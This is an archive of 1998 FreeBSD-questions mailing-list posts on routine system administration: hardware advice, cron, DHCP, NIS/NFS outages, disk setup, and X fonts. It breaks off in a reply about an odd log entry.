shawn@cpl.net) Received: from cpl.net (shawn.megadeth.org [209.150.92.66]) by luke.cpl.net (8.8.8/8.6.12) with ESMTP id UAA16649; Wed, 8 Apr 1998 20:11:45 -0700 (PDT) Message-ID: <352C3D6D.4C0846E6@cpl.net> Date: Wed, 08 Apr 1998 20:15:57 -0700 From: Shawn Ramsey X-Mailer: Mozilla 4.04 [en]C-NECCK (Win95; I) MIME-Version: 1.0 To: Capriotti CC: Paul Southworth , freebsd-questions@FreeBSD.ORG Subject: Re: Want motherboard recommendation References: <3.0.32.19980409004943.0092a600@pop.mpc.com.br> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Have you heard of Asustek ? Or just Asus, I'm not sure. Theyr are well > known here as being VERY stable. Do they still make any good P5 boards? I tried finding their HX board.. no luck. Ended up gettting a FIC PA2007, which has been very reliable, fast, and is not a TX board. :) Does anyone have a source for single CPU HX boards? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 20:15:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA09626 for freebsd-questions-outgoing; Wed, 8 Apr 1998 20:15:47 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from endeavor.flash.net (endeavor.flash.net [209.30.0.40]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA09597 for ; Wed, 8 Apr 1998 20:15:39 -0700 (PDT) (envelope-from anthony@sohopros.com) Received: from sohopros.com (fwasc26-50.flash.net [209.30.57.50]) by endeavor.flash.net (8.8.8/8.8.5) with ESMTP id WAA06050 for ; Wed, 8 Apr 1998 22:15:38 -0500 (CDT) Message-ID: <352C2D19.E62A487C@sohopros.com> Date: Wed, 08 Apr 1998 21:06:18 -0500 From: "Anthony E. Coley" Reply-To: anthony@sohopros.com Organization: Student X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.5-RELEASE i386) MIME-Version: 1.0 To: "questions@FreeBSD.ORG" Subject: sending an attachment? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have an error message I would like to get help with but I can not figure out how to insert the typescript into the body of my email. Is it ok. send it as an attachment to -questions....? Anthony... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 20:46:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA12655 for freebsd-questions-outgoing; Wed, 8 Apr 1998 20:46:17 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail1.bellatlantic.net (mail1.bellatlantic.net [199.45.32.38]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA12635 for ; Wed, 8 Apr 1998 20:46:01 -0700 (PDT) (envelope-from chado@p3.net) Received: from chado2 (client-151-197-119-12.bellatlantic.net [151.197.119.12]) by mail1.bellatlantic.net (8.8.5/8.8.5) with SMTP id WAA20772 for ; Wed, 8 Apr 1998 22:45:43 -0500 (EST) Message-Id: <3.0.3.32.19980408233735.0090d270@popmail.p3.net> X-Sender: chado@popmail.p3.net X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32) Date: Wed, 08 Apr 1998 23:37:35 -0400 To: freebsd-questions@FreeBSD.ORG From: Chado Subject: Ping program not working from cron Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Gents, I have written a program that pings hosts on our network and the internet. When I run it from the command line it works fine...but when I install it in the cron it doesnt find any of the local machines. Here is an output of my routing tables (netstat -r): bash$ netstat -r Routing tables Internet: Destination Gateway Flags Refs Use Netif Expire default gateway UGSc 5 0 ed0 localhost localhost UH 0 18 lo0 20.12.12/25 link#1 UC 0 0 gateway 0:e0:1e:b9:bf:d2 UHLW 6 36 ed0 1163 server1 0:40:33:54:7a:1e UHLW 1 134 lo0 Its really weird that it would work from the command line but not cron. Here is a copy of the program: #!/usr/local/bin/perl -w $host ="192.168.0.3"; #can be local or other machine IPs @output =`ping -c 3 $host`; for $test ( @output ) { if ( $test =~ /^64/ ) { $i = 1; } } if ( $i ) { print "Host was reachable\n"; } else { print "Could not reach host\n"; } If anyone has any ideas I would really appreciate them. Thanks, JS To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 20:54:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA13432 for freebsd-questions-outgoing; Wed, 8 Apr 1998 20:54:16 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason04.u.washington.edu (root@jason04.u.washington.edu [140.142.78.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA13401 for ; Wed, 8 Apr 1998 20:53:56 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul10.u.washington.edu (root@saul10.u.washington.edu [140.142.13.73]) by jason04.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id UAA20948; Wed, 8 Apr 1998 20:53:52 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul10.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id UAA08671; Wed, 8 Apr 1998 20:53:50 -0700 (PDT) Date: Wed, 8 Apr 1998 19:52:42 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: Rick Knebel cc: questions@FreeBSD.ORG Subject: Re: xdm In-Reply-To: <199804082344.TAA00615@blue.knebel.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 8 Apr 1998, Rick Knebel wrote: > Hi, > If you want to start xwindows from xdm automatically what runlevel do you > start with? > Is it init 5? > Thanks Alot This sounds a lot like a question an IRIX user would ask. FreeBSD does not have run levels like IRIX (or System V, but I am not sure about System V). If you look in '/etc' you will notice that 'rc2.d', 'rc0d', and 'rc6.d' are all missing. For FreeBSD, to start xdm automatically at boot you should include an appriate command line in the file '/etc/rc.local' Mine simply has an entry 'xdm' and that's all. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 21:02:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA14172 for freebsd-questions-outgoing; Wed, 8 Apr 1998 21:02:47 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dt050n33.san.rr.com (@dt050n33.san.rr.com [204.210.31.51]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA14158 for ; Wed, 8 Apr 1998 21:02:35 -0700 (PDT) (envelope-from Studded@san.rr.com) Received: from san.rr.com (Studded@localhost [127.0.0.1]) by dt050n33.san.rr.com (8.8.8/8.8.8) with ESMTP id VAA12871; Wed, 8 Apr 1998 21:02:32 -0700 (PDT) (envelope-from Studded@san.rr.com) Message-ID: <352C4858.62E0F8FA@san.rr.com> Date: Wed, 08 Apr 1998 21:02:32 -0700 From: Studded Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.6-STABLE-0325 i386) MIME-Version: 1.0 To: "M. Monninger" CC: FreeBSD Questions Subject: Re: dhcpc and ed3 interface References: <19980407224839.64875@numachi.com> <3.0.5.32.19980408200628.0099ee50@pop.primenet.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG M. Monninger wrote: > > At 01:30 AM 4/8/98 -0700, Studded wrote: > > My experience with the wide client was that it was susceptible to the > >kinds of frustrations you describe. I have put together step-by-step > >instructions for setting up the ISC client at > >http://home.san.rr.com/freebd/dhcp.html. Please take a look at that and > >if you have any feedback I'd be very interested in hearing it. > > > I've been running the wide client for a while without problems. However, > I've been trying to switch to the ISC client but am having problems with > it. I have two NICs in my machine, ed0 and ed1. ed0 is my internet > connection that needs dhcp to get the address from my ISP. ed1 is the > interface to my home LAN, with a static IP address. The problem I have with > the ISC client is that it works fine in setting up ed0 but I can't get it > to leave ed1 alone. It insists on setting ed1's IP address to 0.0.0.0. I've > RTFM'ed everything I can and have tried a lot of stuff in the config file, > all to no avail. I'm sure it's probably a config problem but I can't see > it. Any suggestions? Yeah, multi-nic support is being improved for the next version. For now the standard answer is to make default settings for the second one so that if dhclient does step on it for some reason it will at least put in what you want it to have. :) Also, starting it with 'dhclient ed0' helps in some cases. > I tried the web page but keep getting 404 File Not Found... Yeah, I got the address wrong, sorry. http://home.san.rr.com/freebsd/dhcp.html Doug -- *** Chief Operations Officer, DALnet IRC network *** *** Proud operator, designer and maintainer of the world's largest *** Internet Relay Chat server. 5,328 clients and still growing. *** Try spider.dal.net on ports 6662-4 (Powered by FreeBSD) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 21:23:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA15693 for freebsd-questions-outgoing; Wed, 8 Apr 1998 21:23:26 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from rfd1.oit.umass.edu (mailhub.oit.umass.edu [128.119.175.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA15679 for ; Wed, 8 Apr 1998 21:23:00 -0700 (PDT) (envelope-from gp@mail.inconnect.com) Received: from mail.inconnect.com (nscs23p7.remote.umass.edu) by rfd1.oit.umass.edu (PMDF V5.1-10 #20973) with ESMTP id <0ER4004M8PGQD7@rfd1.oit.umass.edu> for freebsd-questions@FreeBSD.Org; Thu, 9 Apr 1998 00:22:10 -0400 (EDT) Date: Thu, 09 Apr 1998 00:24:23 +0000 (GMT) From: Greg Pavelcak Subject: Check on ccd setup and "Vinum(??)" question To: freebsd-questions@FreeBSD.ORG Message-id: <0ER4004MBPGTD7@rfd1.oit.umass.edu> MIME-version: 1.0 Content-type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I think I'm starting to get ccd, but I just wanted to run this by you all before I try it. I don't want to hurt anything. I have two Maxtor IDE drives: a 3.2G Diamondmax (UltraDMA), and a 2.1G CrystalMax (Not UDMA). My controllers don't support UDMA anyway. I just want to make sure I can do the following. Suppose I partition the disks like this. 3.2G 2.1G ---- ---- 64M swap 64M swap 2.1G-64M /usr1 2.1G-64M /usr2 64M / remainder /usr The idea, of course, is to get two file systems, /usr1 and /usr2 that are the same size. Then I'll do an ordinary install onto / and /usr, ccd /usr1 and /usr2. Finally, I'll move the /usr stuff to the ccd and mount it on /usr resulting, I hope, in better performance from my disks, and I'll use the former /usr partition just for sources and ports distfiles. Does this make sense? I'd appreciate any pointers--good options to ccdconfig for the intended use, for example. Thanks. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 21:37:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA16836 for freebsd-questions-outgoing; Wed, 8 Apr 1998 21:37:12 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from fciencias.ens.uabc.mx ([148.231.177.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA16828 for ; Wed, 8 Apr 1998 21:37:07 -0700 (PDT) (envelope-from mbarbosa@fciencias.ens.uabc.mx) Received: (from mbarbosa@localhost) by fciencias.ens.uabc.mx (8.8.7/8.8.7) id VAA00228; Wed, 8 Apr 1998 21:39:43 -0700 (PDT) (envelope-from mbarbosa) From: "Marco A. Barbosa S." Message-Id: <199804090439.VAA00228@fciencias.ens.uabc.mx> Subject: Re: nis/nfs problem (continued...) In-Reply-To: from Doug White at "Apr 8, 98 00:05:22 am" To: dwhite@resnet.uoregon.edu Date: Wed, 8 Apr 1998 21:39:42 -0700 (PDT) Cc: freebsd-questions@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Tue, 7 Apr 1998, Marco A. Barbosa S. wrote: > > > >> network segment on LAN (novell netware,ethernet,thin coax ) > > >> is ok, but Xcalibur gets stuck. If someone is logged in > > >> Fciencias, they still have net access to everywhere, > > >> but Xcalibur gets isolated. Any user in Fciencias, loses > > >> files and noone else can login due to nis/dns failure. > > > > > >Why does Xcalibur get stuck? How? Please be more specific. Can you ping > > >it? Can you connect out OK from xcalibur? > > > > sorry, I had specified all of that in an earlier mail... (try 1) but > > I kinda sent it to the owner I think... *chuckle* that is what the > > previous "ooops" was about... > > > > > > ok... stuck, as in... no more Xcalibur, noone on the network > > can connect to it... it does not exist... well, some times > > if you leave a telnet long enough to it, after 3 + minutes > > it gives you the ^] thing to tell you you can disconnect with > > it.. but nothing more... > > Okay, we've established that you can't contact Xcalibur when it goes brain > dead. Now, can Xcalibur connect to anyone during this period, ie if > you're sitting at the console can you ping/telnet anywhere? nope, I thought I had specified that... *smile* xcalibur gets isolated from the inside out and from the outside in... > > > >Either xcalibur is going south or your network is going south. Hangups > > >on the client sound like a loss of NIS connecivity, and a later > > >reconnection. You should get log entries when the NIS connection is lost > > >and regained. > > > > South? what do you mean south? > > It's an expression meaning that it stopped working -- it went on vacation, > probably to a warm vacation spot south of us :) well, I am in Baja, south of San Diego, I think it is already in a warm spot, kinda not wanting to work but most of the time working.. > > > Mar 26 20:13:25 Fciencias su: mbarbosa to root on /dev/ttyp3 > > Mar 26 20:24:26 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding > > Mar 26 20:24:31 Fciencias routed[70]: interface ed1 to 148.231.177.14 broken: in=1 ierr=0 out=1 oerr=2 > > Routed notices. yep... lots of them... want some more? > > Mar 26 20:28:27 Fciencias /kernel: nfs server xcalibur:/usr/usuarios: not responding > > Hm, nfs notices that it goes away too. yep, everything takes a break > > > >Perhaps a daemon is going nuts? Check top. > > > > yes, that is my latest guess... otherwise, it would not have been > > fixed with the -HUPing... any ideas? btw, I am kinda in spring > > break.. *chuckle* else I would have replied sooner... sorry. > > No, actually, HUPping everything may fix it since it encourages the server > to dump all outstanding connections and reinitialize itself. Or it's some > very simple server that HUPping kills completely. well, I thought the hupping kinda forced the actual daemon to kinda reload the config files again but without dropping the stuff it was doing... you know... kinda restarting with what it already has, that is why I call it "warm-jump-start" *smile* then again, I can be wrong... > > What type of NIC is in Xcalibur, and what type of network is it connected > to? hmmm NIC... I think d-link combo thingie... and the same network as Fciencias, thin coax cable, netware, ethernet cards, hmmm main gateway is a novell box... want stats? let me check messages... Mar 10 12:52:34 Xcalibur /kernel: The Regents of the University of California. All rights reserved. Mar 10 12:52:34 Xcalibur /kernel: Mar 10 12:52:34 Xcalibur /kernel: FreeBSD 2.2.5-RELEASE #0: Tue Oct 21 14:33:00 GMT 1997 Mar 10 12:52:34 Xcalibur /kernel: jkh@time.cdrom.com:/usr/src/sys/compile/GENERIC Mar 10 12:52:34 Xcalibur /kernel: CPU: Pentium (119.75-MHz 586-class CPU) Mar 10 12:52:34 Xcalibur /kernel: Origin = "GenuineIntel" Id = 0x52c Stepping=12 Mar 10 12:52:34 Xcalibur /kernel: Features=0x1bf Mar 10 12:52:34 Xcalibur /kernel: real memory = 33554432 (32768K bytes) Mar 10 12:52:34 Xcalibur /kernel: avail memory = 30244864 (29536K bytes) Mar 10 12:52:34 Xcalibur /kernel: Probing for devices on PCI bus 0: Mar 10 12:52:34 Xcalibur /kernel: chip0 rev 2 on pci0:0 Mar 10 12:52:34 Xcalibur /kernel: chip1 rev 1 on pci0:7:0 Mar 10 12:52:34 Xcalibur /kernel: chip2 rev 0 on pci0:7:1 Mar 10 12:52:34 Xcalibur /kernel: vga0 rev 16 int a irq ?? on pci0:9 Mar 10 12:52:34 Xcalibur /kernel: Probing for devices on the ISA bus: Mar 10 12:52:34 Xcalibur /kernel: sc0 at 0x60-0x6f irq 1 on motherboard Mar 10 12:52:34 Xcalibur /kernel: sc0: VGA color <16 virtual consoles, flags=0x0> Mar 10 12:52:34 Xcalibur /kernel: ed0 at 0x300-0x31f irq 11 on isa Mar 10 12:52:34 Xcalibur /kernel: ed0: address 00:80:c8:35:16:03, type NE2000 (16 bit) Mar 10 12:52:35 Xcalibur /kernel: sio0 at 0x3f8-0x3ff irq 4 on isa Mar 10 12:52:35 Xcalibur /kernel: sio0: type 16550A Mar 10 12:52:35 Xcalibur /kernel: sio1 at 0x2f8-0x2ff irq 3 on isa Mar 10 12:52:35 Xcalibur /kernel: sio1: type 16550A Mar 10 12:52:35 Xcalibur /kernel: lpt0 at 0x378-0x37f irq 7 on isa Mar 10 12:52:35 Xcalibur /kernel: lpt0: Interrupt-driven port Mar 10 12:52:35 Xcalibur /kernel: lp0: TCP/IP capable interface Mar 10 12:52:35 Xcalibur /kernel: mse0 not found at 0x23c Mar 10 12:52:35 Xcalibur /kernel: fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa Mar 10 12:52:35 Xcalibur /kernel: fd0: 1.44MB 3.5in Mar 10 12:52:35 Xcalibur /kernel: wdc0 at 0x1f0-0x1f7 irq 14 on isa Mar 10 12:52:35 Xcalibur /kernel: wdc0: unit 0 (wd0): Mar 10 12:52:35 Xcalibur /kernel: wd0: 4104MB (8406720 sectors), 8896 cyls, 15 heads, 63 S/T, 512 B/S Mar 10 12:52:35 Xcalibur /kernel: wdc0: unit 1 (atapi): , removable, accel, dma, iordis Mar 10 12:52:35 Xcalibur /kernel: wcd0: 171/1367Kb/sec, 128Kb cache, audio play, 255 volume levels, ejectable tray Mar 10 12:52:35 Xcalibur /kernel: wcd0: no disc inside, unlocked, lock protected Mar 10 12:52:35 Xcalibur /kernel: matcdc0 not found at 0x230 Mar 10 12:52:35 Xcalibur /kernel: npx0 flags 0x1 on motherboard Mar 10 12:52:35 Xcalibur /kernel: npx0: INT 16 interface Mar 10 19:05:41 Xcalibur shutdown: reboot by root: bye bye... got any info? or want more config files? just ask... > > Doug White | University of Oregon > Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant > http://gladstone.uoregon.edu/~dwhite | Computer Science Major > > > -- ************************************* * Marco Antonio Barbosa Santoyo * * Facultad de Ciencias, U.A.B.C. * * Ensenada, Baja California, Mexico * ************************************* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 21:39:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA17256 for freebsd-questions-outgoing; Wed, 8 Apr 1998 21:39:30 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from hotmail.com (f149.hotmail.com [207.82.251.28]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id VAA17246 for ; Wed, 8 Apr 1998 21:39:26 -0700 (PDT) (envelope-from olegogurok@hotmail.com) Received: (qmail 1795 invoked by uid 0); 9 Apr 1998 04:38:52 -0000 Message-ID: <19980409043852.1794.qmail@hotmail.com> Received: from 204.254.224.103 by www.hotmail.com with HTTP; Wed, 08 Apr 1998 21:38:52 PDT X-Originating-IP: [204.254.224.103] From: "Oleg Ogurok" To: freebsd-questions@FreeBSD.ORG Cc: questions@FreeBSD.ORG Subject: Change code table in X-windows Content-Type: text/plain Date: Wed, 08 Apr 1998 21:38:52 PDT Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dear sir. How to change code table in X-windows? I'd like to install KOI-8r code table. Sincerely, Oleg. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 21:40:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA17671 for freebsd-questions-outgoing; Wed, 8 Apr 1998 21:40:08 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from hotmail.com (f149.hotmail.com [207.82.251.28]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id VAA17247 for ; Wed, 8 Apr 1998 21:39:26 -0700 (PDT) (envelope-from olegogurok@hotmail.com) Received: (qmail 1795 invoked by uid 0); 9 Apr 1998 04:38:52 -0000 Message-ID: <19980409043852.1794.qmail@hotmail.com> Received: from 204.254.224.103 by www.hotmail.com with HTTP; Wed, 08 Apr 1998 21:38:52 PDT X-Originating-IP: [204.254.224.103] From: "Oleg Ogurok" To: freebsd-questions@FreeBSD.ORG Cc: questions@FreeBSD.ORG Subject: Change code table in X-windows Content-Type: text/plain Date: Wed, 08 Apr 1998 21:38:52 PDT Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dear sir. How to change code table in X-windows? I'd like to install KOI-8r code table. Sincerely, Oleg. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 22:31:33 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA21819 for freebsd-questions-outgoing; Wed, 8 Apr 1998 22:31:33 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA21788 for ; Wed, 8 Apr 1998 22:31:17 -0700 (PDT) (envelope-from andre.albsmeier@mchp.siemens.de) Received: from salomon.mchp.siemens.de (salomon.siemens.de [139.23.33.13]) by david.siemens.de (8.8.8/8.8.8) with ESMTP id GAA12504 for ; Thu, 9 Apr 1998 06:30:37 +0100 (MET) X-Envelope-Sender-Is: andre.albsmeier@mchp.siemens.de (at relayer david.siemens.de) Received: from curry.mchp.siemens.de (daemon@curry.mchp.siemens.de [146.180.31.23]) by salomon.mchp.siemens.de (8.8.8/8.8.5) with ESMTP id HAA18262 for ; Thu, 9 Apr 1998 07:30:38 +0200 (MDT) Received: (from daemon@localhost) by curry.mchp.siemens.de (8.8.8/8.8.8) id HAA08899 for ; Thu, 9 Apr 1998 07:30:39 +0200 (CEST) From: Andre Albsmeier Message-Id: <199804090530.HAA06282@intern> Subject: How to make a non-dangerously dedicated disk? To: freebsd-questions@FreeBSD.ORG Date: Thu, 9 Apr 1998 07:30:34 +0200 (CEST) X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG As the subject says: I want to create a non-dangerously dedicated disk but without using sysinstall. The reason is, I want to make an exact copy of the present system (2.2.6) but can't use the dangerously dedicated mode because the new disk will go into another broken Siemens PC. Normally, I do dd if=/dev/zero of=/dev/rsd1 count=100 disklabel -wrB sd1 auto disklabel -e sd1 newfs, ... which creates a dangerously dedicated disk and all is well but this disk won't boot on a Siemens system (Read error, because of their "famous" Phoenix BIOS). A disk with a non-dangerously dedicated layout works here but I would like to create it using dd, fdisk, disklabel,... Thanks, -Andre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 22:48:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA23114 for freebsd-questions-outgoing; Wed, 8 Apr 1998 22:48:24 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from fanfic.org (fanfic.org [205.150.35.145]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA23100 for ; Wed, 8 Apr 1998 22:48:08 -0700 (PDT) (envelope-from dstenn@fanfic.org) Received: from fanfic.org (localhost.fanfic.org [127.0.0.1]) by fanfic.org (8.8.8/8.8.8) with SMTP id BAA19488 for ; Thu, 9 Apr 1998 01:47:49 -0400 (EDT) (envelope-from dstenn@fanfic.org) Posted-Date: Thu, 9 Apr 1998 01:47:49 -0400 (EDT) Date: Thu, 9 Apr 1998 01:47:49 -0400 (EDT) From: Dennis Tenn To: FreeBSD Questions Subject: Not able to 'make world' since March.. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It's been a while since I've been able to make world. Even after I've reinstalled the OS, which was only a couple days ago, this is still the case. I've tried cvsup to an earler date, current date, everything I could possibly think of. I've lost the ability to compile awe support for my SB-AWE64 too. I don't know what happened but I'd like a solution if anyone has had this problem too. I've been using FreeBSD for at least 3 years. The error I get now is indicative of a hardware problem but I'm not too sure. ===> gnu/usr.bin/cc/cc1plus cc -nostdinc -O -pipe -I. -DFREEBSD_AOUT -I/usr/src/gnu/usr.bin/cc/cc1plus/../../../../contrib/gcc -I/usr/src/gnu/usr.bin/cc/cc1plus/../../../../contrib/gcc/config -DFREEBSD_NATIVE -DDEFAULT_TARGET_VERSION=\"2.7.2.1\" -DDEFAULT_TARGET_MACHINE=\"i386-unknown-freebsd\" -I/usr/src/gnu/usr.bin/cc/cc1plus/obj/../cc_tools -I/usr/obj/usr/src/tmp/usr/include -c parse.c cc -nostdinc -O -pipe -I. -DFREEBSD_AOUT -I/usr/src/gnu/usr.bin/cc/cc1plus/../../../../contrib/gcc -I/usr/src/gnu/usr.bin/cc/cc1plus/../../../../contrib/gcc/config -DFREEBSD_NATIVE -DDEFAULT_TARGET_VERSION=\"2.7.2.1\" -DDEFAULT_TARGET_MACHINE=\"i386-unknown-freebsd\" -I/usr/src/gnu/usr.bin/cc/cc1plus/obj/../cc_tools -I/usr/obj/usr/src/tmp/usr/include -c /usr/src/gnu/usr.bin/cc/cc1plus/../../../../contrib/gcc/cp/call.c cc -nostdinc -O -pipe -I. -DFREEBSD_AOUT -I/usr/src/gnu/usr.bin/cc/cc1plus/../../../../contrib/gcc -I/usr/src/gnu/usr.bin/cc/cc1plus/../../../../contrib/gcc/config -DFREEBSD_NATIVE -DDEFAULT_TARGET_VERSION=\"2.7.2.1\" -DDEFAULT_TARGET_MACHINE=\"i386-unknown-freebsd\" -I/usr/src/gnu/usr.bin/cc/cc1plus/obj/../cc_tools -I/usr/obj/usr/src/tmp/usr/include -c /usr/src/gnu/usr.bin/cc/cc1plus/../../../../contrib/gcc/cp/class.c cc: Internal compiler error: program cc1 got fatal signal 11 *** Error code 1 Stop. *** Error code 1 Stop. *** Error code 1 Stop. *** Error code 1 Stop. *** Error code 1 Stop. *** Error code 1 Stop. *** Error code 1 Stop. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Dennis Tenn * There will always come a time dstenn@fanfic.org * When your love will be tested ICQ# 1457509 * Stand tall and rise to the occasion * For only then will you grow strong. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Apr 8 22:58:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA24545 for freebsd-questions-outgoing; Wed, 8 Apr 1998 22:58:17 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dt050n33.san.rr.com (@dt050n33.san.rr.com [204.210.31.51]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA24540 for ; Wed, 8 Apr 1998 22:58:12 -0700 (PDT) (envelope-from Studded@san.rr.com) Received: from san.rr.com (Studded@localhost [127.0.0.1]) by dt050n33.san.rr.com (8.8.8/8.8.8) with ESMTP id WAA13352; Wed, 8 Apr 1998 22:57:56 -0700 (PDT) (envelope-from Studded@san.rr.com) Message-ID: <352C6364.B76B2E58@san.rr.com> Date: Wed, 08 Apr 1998 22:57:56 -0700 From: Studded Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.6-STABLE-0325 i386) MIME-Version: 1.0 To: "G.P." CC: freebsd-questions@FreeBSD.ORG, G.P@yamuna.will.knipp.de Subject: Re: Strange lines in /var/log/messages References: <199804090204.EAA26751@yamuna.will.knipp.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG G.P. wrote: > > Hi! > Recently I found a line in our /var/log/messages (running 2.2.5) I never saw > before: > Apr 9 00:27:20 GET ../.. > like > Apr 9 00:27:20 123.45.67.89 GET ../.. 